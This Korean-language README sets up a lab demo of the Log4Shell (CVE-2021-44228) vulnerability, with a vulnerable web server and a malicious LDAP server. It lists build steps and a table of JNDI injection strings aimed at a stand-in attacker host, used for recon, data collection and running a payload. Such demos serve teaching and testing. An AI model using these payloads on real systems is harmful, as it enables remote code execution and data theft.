
Log4Shell(CVE-2021-44228) 취약점의 데모입니다.
Log4Shell (CVE-2021-44228) 취약점의 데모입니다.
취약한 웹 서버와 악성 LDAP 서버는 모두 JDK 1.8.0_181에서 빌드 및 테스트되었습니다.
goodguys 디렉터리에서 gradlew bootJar를 실행합니다.java -jar build/libs/goodguys-0.0.1-SNAPSHOT.jar 명령으로 취약한 웹 서버를 실행합니다.badguys 디렉터리에서 mvn package를 실행합니다.java -jar .\target\evil-server.jar 명령으로 악성 서버를 실행합니다.참고: Windows Defender는
target\classes\Exploit.class를 조용히 격리소로 이동시킬 수 있습니다.
악성 명령은 Exploit.java 내부에 정의되어 있습니다.
| 입력 | 비고 |
|---|---|
${jndi:ldap://evil-server-hostname:389/Recon} | LDAP 서버에 대한 연결 요청을 수신하여 대상이 취약한지 확인합니다. |
${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)] | 유효한 log4j Pattern Layout을 추가하여 대상의 데이터를 수집하고 공격자 터미널에 표시합니다. |
${jndi:ldap://evil-server-hostname:389/Exploit} | 페이로드를 실행합니다. |
https://securityboulevard.com/2019/01/exploiting-jndi-injections-in-java/
https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html
https://www.ibm.com/blog/how-to-detect-patch-log4j-vulnerability/